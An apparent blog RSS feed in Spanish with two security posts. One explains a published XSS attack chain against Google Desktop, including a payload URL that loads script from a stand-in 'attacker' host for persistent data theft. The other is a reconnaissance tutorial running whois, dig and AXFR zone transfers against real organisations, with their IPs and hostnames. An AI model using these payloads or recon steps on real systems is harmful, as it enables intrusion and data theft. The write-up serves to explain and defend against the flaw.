<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nimrod's Sons &#187; Google</title>
	<atom:link href="http://www.nimrod.com.mx/tag/google/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nimrod.com.mx</link>
	<description></description>
	<lastBuildDate>Mon, 31 Aug 2009 14:53:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Apoderándose de &#8216;Google Desktop&#8217;</title>
		<link>http://www.nimrod.com.mx/2007/02/apoderandose-de-google-desktop/</link>
		<comments>http://www.nimrod.com.mx/2007/02/apoderandose-de-google-desktop/#comments</comments>
		<pubDate>Sat, 24 Feb 2007 04:04:08 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=37</guid>
		<description><![CDATA[Apoderándose de &#8216;Google Desktop&#8217; Por Murena Myrope Lavin Martinez Google Desktop es una herramienta de escritorio &#8216;freeware&#8217; popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local. Existe un método de ataque contra la aplicación de &#8216;Google Desktop&#8217; que permite a un individuo [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Apoderándose de &#8216;Google Desktop&#8217;</strong><br />
 <strong>Por Murena Myrope Lavin Martinez</strong></p>
<p style="text-align: justify;">Google Desktop es una herramienta de escritorio &#8216;freeware&#8217; popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local.<br />
 <span id="more-37"></span></p>
<p style="text-align: justify;">Existe un método de ataque contra la aplicación de &#8216;Google Desktop&#8217; que permite a un individuo malicioso lograr acceso remoto y persistente a información sensible así como control completo del sistema afectado.</p>
<p style="text-align: justify;">Este problema es el resultado de la integración entre el sitio Web de Google.com y la falla de Google Desktop al codificar salidas que contengan caracteres maliciosos o inesperados.</p>
<p style="text-align: justify;">Este ataque representa un ejemplo real de una nueva generación de ataques a las computadoras. Estos ataques toman ventaja de las vulnerabilidades en aplicaciones Web y el poder cada vez mayor de los navegadores Web. El propósito es acceder remotamente a información privada. A diferencia de los ataques de penetración tradicionales, en este caso no hay necesidad de inyectar código binario.</p>
<p style="text-align: justify;">En este ataque se utiliza código de JavaScript para controlar la funcionalidad de Google Desktop. El atacante puede secuestrar información confidencial del sistema y evadir los sistemas de protección de información como antivirus y firewalls.</p>
<p style="text-align: justify;">El ataque pone énfasis en el peligro de la integración entre aplicaciones de escritorio y aplicaciones basadas en Web, ya que abre un hueco para los atacantes maliciosos al escalar sus privilegios al cruzar del ambiente Web al ambiente de escritorio.</p>
<p style="text-align: justify;"><strong>Google Desktop</strong></p>
<p style="text-align: justify;">La aplicación de Google Desktop puede indexar y manejar una gran variedad de recursos incluyendo documentos de Office, archivos multimedia, archivos comprimidos, cache de historial Web, y sesiones de chat.  Es posible también indexar y manejar documentos protegidos con contraseña y páginas web encriptadas, aunque estas características están deshabilitadas por default.</p>
<p style="text-align: justify;">Google Desktop también puede monitorear la actividad del usuario al revisar y editar archivos, escribir y leer correos electrónicos y navegar por la Web.  Crea copias en cache de la información y permite al usuario acceder a ella en otro momento. Por esta razón es posible buscar y acceder a la información desde el cache incluso después de que el correo electrónico original o archivo ya no exista en el sistema.</p>
<p style="text-align: justify;">Google Desktop corre como un servidor Web local que esta ligado al puerto 4664 en la interfase de red del equipo local. Por seguridad, sólo responde a las solicitudes originadas desde el equipo local.</p>
<p style="text-align: justify;"><strong>Integración de Google Desktop y el sitio público de Google.com</strong></p>
<p style="text-align: justify;">Un característica de la aplicación de Google Dektop es su similitud con el sitio Web de Google.com. Cuando se realizan búsquedas de información utilizando Google.com, además de presentar los resultados Web también se presentan los resultados que proporciona Google Desktop. Estos resultados de búsquedas locales los realiza la aplicación local de Google Desktop.</p>
<p style="text-align: justify;">Esta característica puede resultar muy útil pero representa un grave riesgo de seguridad. Si se explota una vulnerabilidad de Cross Site Scripting (XSS) en Google.com contra un usuario de Google Desktop, un atacante malicioso puede acceder la porción local de la información de la computadora.</p>
<p style="text-align: justify;">Este riesgo es mitigado en las  versiones más actuales de Google Desktop ya que:</p>
<ol style="text-align: justify;">
<li>La integración de los resultados de Google Desktop con Google.com es opcional. Se puede deshabilitar mediante la opción de ‘Display’ en la ventana de ‘Desktop Preferences’.</li>
<li>Los resultados de la integración son parciales, solo se muestra un pequeño texto al usuario. Los contenidos completos del resultado únicamente pueden ser accedidos mediante la interfase local de Google Desktop.</li>
</ol>
<p style="text-align: justify;"><strong>Mecanismos de Protección</strong></p>
<ol style="text-align: justify;">
<li><strong>Filtrado de       conexiones.</strong> El servidor Web corre en el equipo local por el puerto 4664. Únicamente maneja conexiones que se originen de y hacia el equipo local 127.0.0.1.</li>
<li><strong>Firmas de       protección</strong>. Cuando se instala, Google Desktop genera un llave aleatoria de 64 bits que se guarda en el registro fuse_data. Esta llave se utiliza para crear firmas únicas para diferentes páginas Web en el servidor Web local. Cada petición al servidor de Google Desktop local debe contener la firma para la petición específica. Esta firma cambia en cada equipo y en cada página Web. Este mecanismo de firmas proporciona una defensa contra ataques de XSS o Cross Site Request Forgery (CSRF). Para poder explotar esas vulnerabilidades, el atacante necesitaría conocer la firma válida del script vulnerable en el equipo local.</li>
</ol>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><strong>Vulnerabilidad de XSS en Google Desktop </strong></p>
<p style="text-align: justify;">La aplicación de Google Desktop permite al usuario realizar búsquedas de distintas formas. Una de ellas es la búsqueda de información bajo directorios específicos en el disco duro o en un dispositivo en red.  Esta característica se puede configurar en la página  de ‘Advanced Search’.</p>
<p style="text-align: justify;">Se utiliza el parámetro <em>under </em>para realizar este tipo de  búsquedas. El parámetro <em>under </em>puede  ser pegajoso ya que los tres anteriores peticiones de <em>under</em> se regresan en la página de resultados.  El parámetro de búsqueda<em> under</em> contiene una vulnerabilidad ya que es posible ejecutar  scripts maliciosos utilizándolo. Por ejemplo:</p>
<p style="text-align: justify;"><strong>under:&lt;script&gt;alert(‘Hacked’)  :&lt;/script&gt;</strong></p>
<p style="text-align: justify;">Para hacer la experiencia de navegación más rápida en el sitio Web de Google Desktop, las respuestas de las búsquedas relacionadas de Google Desktop contienen los contenidos de la página de ‘Advanced Search’ aunque se encuentran ocultos visualmente al usuario. Cuando el usuario da click en el enlace de ‘Advanced Search’ dentro de una página de búsqueda, está es cargada inmediatamente sin enviar una solicitud al servidor Web de Google Desktop.</p>
<p style="text-align: justify;">Debido a que los parámetros de búsquedas avanzadas se incluyen en todas las páginas de búsqueda, desde el momento en que se ejecuta el comando <em>under </em>malicioso en la aplicación de Google Desktop, se queda pegado. Cada que un usuario realice una búsqueda por medio de la interfase Web de Google Desktop, el código malicioso de JavaScript también se ejecutará en el fondo.</p>
<p style="text-align: justify;"><strong>Descripción del ataque</strong></p>
<p style="text-align: justify;">Este ataque puede saltarse los mecanismos de protección mencionados anteriormente y permitir a un atacante insertar código de JavaScript Malicioso en Google Desktop. Esto se realiza al tomar ventaja de la integración de Google Desktop con el sitio Google.com, así como de la vulnerabilidad de XSS descubierta en el parámetro <em>under</em>.</p>
<ol style="text-align: justify;">
<li><strong>Explotar una       vulnerabilidad de XSS en Google.com para incluir el código de JS.</strong> El vector inicial de ataque es la explotación de cualquier vulnerabilidad de XSS que se encuentre en el dominio de Google.com. El año pasado se descubrieron múltiples vulnerabilidades dentro de las aplicaciones y sitios de Google. La víctima debe acceder a una URL especialmente elaborada que apunte a una página Web vulnerable en: <a href="http://www.google.com/">http://www.google.com</a>. Esto se pude realizar al engañar al usuario para que de clic en el link malicioso utilizando ingeniería social o al tomar ventaja de las vulnerabilidades Web de otros sitios como lo que realizan los gusanos Samy y Yamanner.  Después de que la víctima carga la página con la vulnerabilidad de XSS, se ejecuta el código malicioso de JavaScript. Este es el clásico ataque en Google.com que permite al atacante controlar el navegador de la víctima. La limitación es que el script únicamente puede interactuar  con el dominio de Google.com.</li>
<li><strong>Enviar una       búsqueda estándar a Google.com en el fondo</strong>. En este paso, el código malicioso de JavaScript trata de encontrar la firma única de la página de búsquedas de Google Desktop que se encuentra instalada localmente. Envía una solicitud que corre en el fondo a Google.com, utilizando el objeto XmlHttpRequest. Por ejemplo: <a href="http://www.google.com/search?q=Nimrod">http://www.google.com/search?q=Nimrod</a>.</li>
<li><strong>Se adquiere       la firma de la página de búsquedas de Google Desktop. </strong>Cuando se obtiene una respuesta de Google.com, la aplicación de Google Desktop la intercepta y agrega un enlace a Google Desktop. Este enlace tiene la siguiente estructura: <a href="http://127.0.0.1:4664/search&amp;s=%3cUNIQUE_SIGNATURE%3e?q=%3cQUERY_STRING">http://127.0.0.1:4664/search&amp;s=&lt;UNIQUE_SIGNATURE&gt;?q=&lt;QUERY_STRING</a>&gt;</li>
</ol>
<p style="text-align: justify;">Utilizando expresiones regulares, el código malicioso que se inyecto en el paso 1, obtiene la firma única que es utilizada para el enlace de Google Desktop. Esta expresión regular puede tener la siguiente forma: ‘http://127.0.0.1:4664/search&amp;s=([^?]+)?q=[^’]+’<br />
Que se utiliza  para obtener la firma única.</p>
<ol style="text-align: justify;">
<li><strong>Infectar el       navegador de la víctima.</strong> En este paso final el código de JavaScript salta al contexto de Google Desktop y lo infecta con un código malicioso y pegajoso de JavaScript. Esto se realiza al reemplazar la cadena estándar de búsqueda con la referencia maliciosa de JavaScript y al enviar una solicitud ciega (utilizando el IFRAME invisible por ejemplo) al Google Desktop:</li>
</ol>
<p style="text-align: justify;">http://127.0.0.1:4664/search&amp;s=&lt;UNIQUE_SIGNATURE&gt;?q=&lt;MALICIOUS_QUERY_STRING&gt;<br />
se transforma  en:<br />
http://127.0.0.1:4664/search&amp;s=&lt;STEP_3_ACQUIRED_SIGNATURE&gt;?q=under:&#8221;&lt;script src=&#8217;http://attacker/infect.js&#8217;&gt;&lt;/script&gt;&#8221;<br />
La respuesta a la solicitud ciega se carga en el IFRAME invisible y el código de JavaScript es ejecutado.  En este punto el atacante tiene un control completo y persistente de la aplicación de Google Desktop de la víctima.  El atacante puede realizar búsquedas de información privada en el equipo víctima y enviársela a <a href="http://attacker/">http://attacker</a>.</p>
<p style="text-align: justify;"><strong>Características del ataque</strong></p>
<p style="text-align: justify;">La naturaleza de la vulnerabilidad explotada en este ataque permite al atacante instalar malware de JavaScript persistente. Cada vez que la víctima realice búsquedas utilizando Google Desktop, el script malicioso se ejecutará en el fondo sin llamar la atención. Ya que el payload malicioso es un código pequeño de HTML, se fusiona sin ser notado, dentro del código HTML legítimo del Google Desktop.</p>
<p style="text-align: justify;"><strong>Control  remoto</strong>. El malware de JavaScript puede ser controlado remotamente al cargar comandos dinámicos de un sitio Web externo utilizando la directiva de inclusión de JavaScript: &lt;script src=&#8217;http://attacker/infect.js&#8217;&gt;. Es posible utilizar plataformas como XSS Proxy para establecer comunicación bidireccional  entre los equipos atacados y el atacante.</p>
<p style="text-align: justify;"><strong>Control persistente.</strong> El malware de JavaScript se coloca como una de  las últimas búsquedas del parámetro <em>under</em>.   Si el usuario utiliza la búsqueda <em>under </em>varias veces seguidas, el script puede ser quitado del histórico. Sin embargo, para asegurarse de que el malware no es removido por las utilización del parámetro <em>under</em> del usuario, se  puede configurar el código malicioso para que reinfecte el sistema cada vez que detecte la utilización del parámetro <em>under</em>.  Esto se puede realizar al activar una búsqueda en Google Desktop que corra  oculta.</p>
<p style="text-align: justify;"><strong>Comportamiento  tipo virus.</strong> El ataque afecta a la computadora local de la víctima y tiene un impacto similar a un virus/malware binario de computadoras. Sin embargo, difiere de los ataques tradicionales por varias razones:</p>
<ol style="text-align: justify;">
<li>El código malicioso no reside en el disco duro  como un archivo binario que pueda atraer la atención de la víctima.</li>
<li>El atacante no necesita formas sofisticadas para cargar la lógica maliciosa; esto se realiza automáticamente por el navegador cada vez que se visitan páginas de Google Desktop.</li>
<li>El código malicioso es ejecutado por el  navegador. No corre como un proceso propio.</li>
<li>Actualmente los antivirus y firewalls no pueden bloquear ataques de malware de JavaScript. El código malicioso puede mutar y encriptarse para evadir IDS.</li>
<li>Es posible extraer información de la computadora  local y hacer que parezca como solicitudes codificadas a un sitio Web externo.</li>
</ol>
<p style="text-align: justify;"><strong>Impacto</strong></p>
<p style="text-align: justify;"><strong>Poder realizar búsquedas en la computadora local.</strong> Incluyendo documentos de Office, multimedia, correos (incluso los borrados), cache de historial Web, sesiones de Chat, cronología de actividades realizadas por el usuario en el equipo.  Es posible hacer búsquedas por las palabras ‘confidencial’ o ‘secreto’ para encontrar información confidencial; búsquedas por ‘username’ o ‘password’ para obtener contraseñas; búsquedas por ‘banco’ para obtener información bancaria. La opción de ‘TimeLine View’ de Google Desktop presenta un log cronológico de los archivos editados por el usuario y los sitios Web visitados, así como versiones en cache de ambos.</p>
<p style="text-align: justify;"><strong>Habilitar características deshabilitadas en Google Desktop.</strong> Las características que mayor impacto tienen en la seguridad son las siguientes: ‘Password-protected Office Documents’ permite a Google Desktop indexar archivos protegidos por contraseña. ‘Secure Pages /HTTPS in Web history’ permite a Google Desktop indexar páginas web seguras.  Existe una vulnerabilidad de Google Desktop que puede ser utilizada para esconder estos cambios y que el usuario no pueda notarlos.</p>
<p style="text-align: justify;"><strong>Búsqueda entre computadoras.</strong> Permite buscar páginas Web y documentos entre todas las computadoras de la víctima. Para activar esta característica se requiere que todas la máquinas tengan Google Desktop instalado y una cuenta de Google.</p>
<p style="text-align: justify;"><strong>Control completo del sistema.</strong> Es posible lanzar aplicaciones por medio de la interfase Web de Google Desktop. Al enviar una solicitud desde Google Desktop se puede forzar al sistema atacado para que abra archivos automáticamente con su aplicación asociada. Es posible ejecutar archivos de tipo <strong><em>.exe</em></strong>.  Por ejemplo: <em>filetype:exe winword</em></p>
<p style="text-align: justify;"><em><img class="alignnone size-medium wp-image-38" title="20070223134251104_1" src="http://new.nimrod.com.mx/wp-content/uploads/2009/01/20070223134251104_1-300x208.jpg" alt="20070223134251104_1" width="300" height="208" /></em></p>
<p style="text-align: justify;"><strong>Recomendaciones</strong></p>
<ol style="text-align: justify;">
<li>Google desarrollo un parche que mitiga este ataque.       Se recomienda actualizar la versión de Google Desktop.</li>
<li>Se deben evaluar los parámetros de seguridad del       navegador Web.</li>
<li>Se debe deshabilitar la integración entre las       aplicaciones Web públicas y las aplicaciones de escritorio.</li>
<li>Los vendedores de antivirus deben tomar en cuenta este riesgo y desarrollar formas creativas de detectar y defender contra este tipo de ataques de malware JavaScript.</li>
</ol>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Conclusiones</strong></p>
<p style="text-align: justify;">Por varias razones este ataque se  puede considerar casi perfecto:</p>
<ol style="text-align: justify;">
<li>El footprint es pequeño y prácticamente       indetectable.</li>
<li>Lo firewalls no pueden hacer nada para mitigar el       ataque o el envío de información confidencial.</li>
<li>El software de antivirus  no puede proteger a la víctima</li>
<li>El ataque es persistente entre diferentes sesiones       y navegadores.</li>
<li>El impacto potencial es el control completo de la       computadora víctima.</li>
</ol>
<p style="text-align: justify;">
<p style="text-align: justify;">Este ataque fue posible gracias a una sola vulnerabilidad de XSS y a la integración entre el sitio de Google.com y la aplicación local de Google Desktop. Mientras que el ataque de XSS se considera inofensivo, combinado con aplicaciones de alta sensibilidad y capacidades poderosas como Google Desktop, su impacto se hace muy alto.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Referencias:<br />
 <a href="http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf">http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf</a><br />
 <a href="http://download.watchfire.com/googledesktopdemo/index.htm">http://download.watchfire.com/googledesktopdemo/index.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2007/02/apoderandose-de-google-desktop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Siguiendo el rastro a las organizaciones: parte 2</title>
		<link>http://www.nimrod.com.mx/2006/12/siguiendo-el-rastro-a-las-organizaciones-parte-2/</link>
		<comments>http://www.nimrod.com.mx/2006/12/siguiendo-el-rastro-a-las-organizaciones-parte-2/#comments</comments>
		<pubDate>Tue, 05 Dec 2006 03:11:28 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[PT]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=44</guid>
		<description><![CDATA[Siguiendo el rastro a las organizaciones: Por darkslaker. Continuación… Nombres de Dominio de la organización: Para un hacker, el conocer la mayor información relacionada con la organización antes de lanzar un ataque es indispensable. Dentro de la información que es necesaria recopilar encontramos: Nombres de dominio de la organización. Bloques de red y direccionamiento IP [...]]]></description>
			<content:encoded><![CDATA[<p>Siguiendo el rastro a las organizaciones:<br />
 <strong>Por darkslaker.</strong><br />
 <strong>Continuación…</strong></p>
<p><strong>Nombres de Dominio de la organización:</strong><br />
Para un hacker, el conocer la mayor información relacionada con la organización antes de lanzar un ataque es indispensable. Dentro de la información que es necesaria recopilar encontramos:</p>
<ul>
<li>Nombres de dominio de la organización.</li>
<li>Bloques de red y direccionamiento IP de la  organización.</li>
<li>Proveedores de servicio de Internet de la  organización.</li>
</ul>
<p><span id="more-44"></span>A continuación se muestran algunas maneras de  localizar dicha información.<br />
Primeramente es importante mencionar que el ICANN es responsable de la coordinación y de la administración de los elementos técnicos de DNS’s para garantizar una resolución unívoca de los nombres, de manera que los usuarios de Internet puedan encontrar todas las direcciones válidas. Para ello, se encarga de supervisar la distribución de los identificadores técnicos únicos usados en las operaciones de Internet, y delegar los nombres de dominios de primer nivel (como .com, .info, etc.).<br />
ICANN se encarga de administrar los nombres de dominio y direccionamiento IP mediante organizaciones alrededor de mundo. Las siguientes ligas corresponden a la representación de ICANN por regiones:</p>
<ul>
<li>Europa y África <a href="http://www.ripe.net/">http://www.ripe.net</a></li>
<li>Norte y Sur América <a href="http://www.arin.net/">http://www.arin.net</a></li>
<li>Asia Pacifico <a href="http://www.apnic.net/">http://www.apnic.net</a></li>
<li><a href="http://www.ripe.net/">http://www.ripe.net</a></li>
</ul>
<p>Ahora debemos buscar  todos los dominios y subdominios que podamos encontrar. Podemos buscar tanto en <em>Google</em> como en la base de datos de <strong><em>whois</em></strong> para localizar los dominios así como el servidor de nombres al que esta  asociado.</p>
<p>Lo primero que podemos hacer es identificar el responsable del dominio y su servidor de nombres asociado, esto nos sirve para comenzar a identificar segmentos de red, proveedores de servicios externos, redundancia en equipos, etc.</p>
<p>Desde una Terminal  de un sistema *NIX podemos ejecutar la siguiente búsqueda:</p>
<p>slax  ~ # whois itam.mx</p>
<p>DOMINIO:                      itam.mx</p>
<p>FECHA  DE CREACION:            02-JAN-95<br />
FECHA  DE ULTIMA MODIFICACION: 05-JAN-05</p>
<p>ORGANIZACION:                 ITAM [itam1]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>CONTACTO  ADMINISTRATIVO:      Uciel Fragoso  Rodriguez [uciel]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>CONTACTO  TECNICO:             Uciel Fragoso  Rodriguez [uciel]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>CONTACTO  DE PAGO:             Uciel Fragoso  Rodriguez [uciel]<br />
DOMICILIO:                    Mexico, D.F., Mexico</p>
<p>SERVIDOR  PRIMARIO:            turing2.itam.mx<br />
IP  PRIMARIO:                  148.205.228.11</p>
<p>SERVIDOR  SECUNDARIO:          remo.itam.mx<br />
IP  SECUNDARIO:                148.205.228.17</p>
<p>SERVIDOR  SECUNDARIO:          name.roc.gblx.net</p>
<p>SERVIDOR  SECUNDARIO:          name.phx.gblx.net</p>
<p>Con la  información obtenida en el ejemplo anterior, podemos apreciar lo siguiente:</p>
<ul>
<li>Nombre del contacto.</li>
<li>Fecha de creación de dominio.</li>
<li>DNS, de los cuales 2 son administrados por la       organización y 2 por externos.</li>
</ul>
<p>Cuando ya contamos con los servidores DNS de la organización podemos realizar peticiones directas a los mismos. A continuación muestro las diferentes tipos de consultas que podemos realizar:</p>
<ul>
<li>SOA (State of authority)- Muestra quien es el       servidor DNS primario.</li>
<li>NS (Name Server) Muestra quienes son los       servidores DNS de un dominio.</li>
<li>MX (Mail Exchanger) Muestra quien se encarga de       entregar correo para un dominio.</li>
<li>ANY (Any Query) Busca cualquier registro       contenido en la zona.</li>
<li>TXT (Text Query) Busca registros de texto.</li>
<li>AXFR- (Zone transfer) Trae todos los registros       almacenados en una zona DNS.</li>
<li>A (Address). Muestra el registro para traducir       nombre de host a direcciones IP.</li>
<li>CNAME (Canonical Name). Se usa para crear nombres       de hosts adicionales, o alias, para los hosts de un dominio.</li>
</ul>
<p>Existen dos  consultas claves que debemos realizar siempre, la ANY y la AXFR. Es importante mencionar que no todos los servidores DNS permiten búsquedas del tipo AXFR ya que es considerada una mala practica, este tipo de búsquedas deben ser restringidas solamente entre un servidor primario y uno secundario. ¿Que herramientas nos permiten realizar estas búsquedas?</p>
<ul>
<li>SamSpace</li>
<li>Dig</li>
<li>Host</li>
<li>Nslookup</li>
<li>Dsnwalk</li>
<li>Etc.</li>
</ul>
<p>En este  caso utilizaremos <strong>dig</strong> para realizar  las búsquedas.</p>
<p>- La búsqueda <strong><em>any </em></strong>nos permite conocer todos los equipos NS,MX,SOA, A de un dominio:</p>
<p>slax ~ # dig any  @148.205.228.11 itam.mx</p>
<p>; &lt;&lt;&gt;&gt; DiG  9.3.1 &lt;&lt;&gt;&gt; any @148.205.228.11 itam.mx<br />
; (1 server found)<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;; -&gt;&gt;HEADER&lt;&lt;-  opcode: QUERY, status: NOERROR, id: 59063<br />
;; flags: qr aa rd ra;  QUERY: 1, ANSWER: 18, AUTHORITY: 0, ADDITIONAL: 7</p>
<p>;; QUESTION SECTION:<br />
;itam.mx.                       IN      ANY</p>
<p>;; ANSWER SECTION:<br />
itam.mx.                600     IN       A       148.205.228.219<br />
itam.mx.                3600    IN       A       148.205.148.5<br />
itam.mx.                600     IN       A       148.205.36.229<br />
itam.mx.                600     IN       A       148.205.133.22<br />
itam.mx.                600     IN       A       148.205.228.17<br />
itam.mx.                600     IN       A       148.205.52.10<br />
itam.mx.                600     IN       A       148.205.228.11<br />
itam.mx.                600     IN       A       148.205.40.4<br />
itam.mx.                600     IN       A       148.205.40.11<br />
itam.mx.                600     IN       A       148.205.228.27<br />
itam.mx.                3600    IN       NS      artemisa2.itam.mx.<br />
itam.mx.                3600    IN       NS      turing2.itam.mx.<br />
itam.mx.                3600    IN       NS      remo.itam.mx.<br />
itam.mx.                3600    IN       NS      name.phx.gblx.net.<br />
itam.mx.                3600    IN       NS      name.roc.gblx.net.<br />
itam.mx.                3600    IN       SOA     turing2.itam.mx.  uciel.itam.mx. 2002068227 3600 600 1209600 3600<br />
itam.mx.                3600    IN       MX      10 stockton.itam.mx.<br />
itam.mx.                3600    IN       MX      10 malone.itam.mx.</p>
<p>;; ADDITIONAL SECTION:<br />
artemisa2.itam.mx.      3600     IN      A       148.205.40.11<br />
turing2.itam.mx.        3600     IN      A       148.205.228.11<br />
remo.itam.mx.           3600    IN       A       148.205.228.17<br />
name.phx.gblx.net.      39355    IN      A       206.165.6.10<br />
name.roc.gblx.net.      56775    IN      A       209.130.187.10<br />
stockton.itam.mx.       3600     IN      A       148.205.228.32<br />
malone.itam.mx.         3600     IN      A       148.205.228.6</p>
<p>;; Query time: 193 msec<br />
;; SERVER:  148.205.228.11#53(148.205.228.11)<br />
;; WHEN: Mon Aug  7 14:28:11 2006<br />
;;  MSG SIZE  rcvd: 506</p>
<p>- La búsqueda <strong><em>axfr</em></strong> es un poco diferente a la <strong><em>any</em></strong> ya que no permite hacer un intercambio de Zonas de transferencia. Esto quiere decir que nos enviara toda su zona con la cual podremos tener todos los nombres de los equipos registrados en el dominio.</p>
<p>slax  ~ # dig axfr @148.205.228.11 itam.mx</p>
<p>;  &lt;&lt;&gt;&gt; DiG 9.3.1 &lt;&lt;&gt;&gt; axfr @148.205.228.11 itam.mx<br />
; (1 server found)<br />
;; global options:  printcmd<br />
itam.mx.                3600    IN       SOA     turing2.itam.mx.  uciel.itam.mx. 2002068242 3600 600 1209600 3600<br />
itam.mx.                3600    IN       NS      artemisa2.itam.mx.<br />
itam.mx.                3600    IN       NS      turing2.itam.mx.<br />
itam.mx.                3600    IN       NS      remo.itam.mx.<br />
itam.mx.                3600    IN       NS      name.phx.gblx.net.<br />
itam.mx.                3600    IN       NS      name.roc.gblx.net.<br />
itam.mx.                3600    IN       MX      10 stockton.itam.mx.<br />
itam.mx.                3600    IN       MX      10 malone.itam.mx.<br />
0r3dac14d.itam.mx.      1200     IN      A       148.205.197.15<br />
eventos.itam.mx.        3600     IN      CNAME   ddip.itam.mx.<br />
www.eventos.itam.mx.    3600     IN      CNAME   ddip.itam.mx.<br />
exalumnos.itam.mx.      3600     IN      CNAME   ddip.itam.mx.<br />
www.exalumnos.itam.mx.  3600     IN      CNAME   ddip.itam.mx.<br />
exalumnos_conta.itam.mx.  3600   IN      CNAME    phobos.itam.mx.<br />
executivemba.itam.mx.   3600     IN      CNAME   phobos.itam.mx.<br />
www.executivemba.itam.mx.  3600  IN      CNAME    phobos.itam.mx.<br />
expo-itam.itam.mx.      1200     IN      A       148.205.220.21<br />
extension.itam.mx.      3600     IN      CNAME   titan2.itam.mx.<br />
edit.extension.itam.mx.  3600    IN      CNAME    titan2.itam.mx.<br />
etc<br />
etc<br />
etc</p>
<p>Los resultados anteriores nos permiten determinar muchas cosas relativas al direccionamiento así como los subdominios de la organización de quien estamos recopilando información.</p>
<p>En el caso del dominio ITAM, se puede determinar que su bloque de red es 148.205.228.X  y además la identificación del tipo de nombres que utilizan para sus equipos.</p>
<p>Otra  forma es hacer la búsqueda es mediante google:</p>
<p><em>inurl:itam.mx</em></p>
<p><em><img class="alignnone size-medium wp-image-45" title="20061204172829289_1" src="http://www.nimrod.com.mx/wp-content/uploads/2009/01/20061204172829289_1-255x300.jpg" alt="20061204172829289_1" width="255" height="300" /></em></p>
<p>La  búsqueda anterior nos permite conocer subdominios del itam.mx</p>
<p><strong>Bloques de red</strong></p>
<p>Con la información encontrada anteriormente ya es posible determinar los bloques de red que tiene una organización, y conocer si algunos servicios están <em>hosteados</em>.</p>
<p>Sigamos  el rastro del dominio iss.net</p>
<p>slax ~ # whois iss.net</p>
<p>Registrant:<br />
Internet Security  Systems, Inc.<br />
6303    Barfield Rd<br />
Atlanta,   GA 30328<br />
US</p>
<p>Domain Name: ISS.NET</p>
<p>Administrative Contact, Technical Contact:<br />
Internet Security Systems Inc.            iss-dnsadmin@ISS.NET<br />
6303    BARFIELD RD NE<br />
ATLANTA,   GA 30328-4233<br />
US<br />
(404) 236-2600 fax: (404) 236-2614</p>
<p>Record expires on 29-Jun-2012.<br />
Record created on 30-Jun-1994.<br />
Database last updated on 10-Aug-2006  12:17:24 EDT.</p>
<p>Domain servers in listed order:</p>
<p>EHECATL.ISS.NET              209.134.161.10<br />
SFLD-NS1.NETREX.COM         <a>207.231.129.132</a></p>
<p>Con la información anterior podemos determinar que el servidor primario de DNS es administrado por la organización. Ahora realizaremos una búsqueda ANY.</p>
<p>slax ~ # dig any  @209.134.161.10 iss.net</p>
<p>; &lt;&lt;&gt;&gt; DiG  9.3.1 &lt;&lt;&gt;&gt; any @209.134.161.10 iss.net<br />
; (1 server found)<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;;  -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 65516<br />
;; flags: qr aa rd ra;  QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 5</p>
<p>;; QUESTION SECTION:<br />
;iss.net.                       IN      ANY</p>
<p>;; ANSWER SECTION:<br />
iss.net.                60      IN      SOA     ehecatl.iss.net. iss-dnsadmin.is                                                                              s.net. 2006080802 3600 1800 604800 3600<br />
iss.net.                60      IN       NS      sfld-ns1.netrex.com.<br />
iss.net.                60      IN       NS      ehecatl.iss.net.<br />
iss.net.                60      IN       MX      10 colo-mx1.iss.net.<br />
iss.net.                60      IN       MX      10 sfld-mx1.iss.net.<br />
iss.net.                60      IN       MX      5 atla-mx1.iss.net.<br />
iss.net.                60      IN       A       209.134.161.35</p>
<p>;; ADDITIONAL SECTION:<br />
ehecatl.iss.net.        60       IN      A       209.134.161.10<br />
sfld-ns1.netrex.com.    3600     IN      A       207.231.129.132<br />
atla-mx1.iss.net.       60       IN      A       209.134.161.6<br />
colo-mx1.iss.net.       60       IN      A       12.129.100.18<br />
sfld-mx1.iss.net.       60       IN      A       207.231.129.133</p>
<p>;; Query time: 353 msec<br />
;; SERVER:  209.134.161.10#53(209.134.161.10)<br />
;; WHEN: Mon Aug  7 15:55:37 2006<br />
;; MSG SIZE  rcvd: 300</p>
<p>De la información de la búsqueda podemos determinar que existen dos bloques diferentes de red que responden a equipos tipo A del dominio principal los cuales son:</p>
<ul>
<li>209.134.161.X</li>
<li>207.231.129.X</li>
</ul>
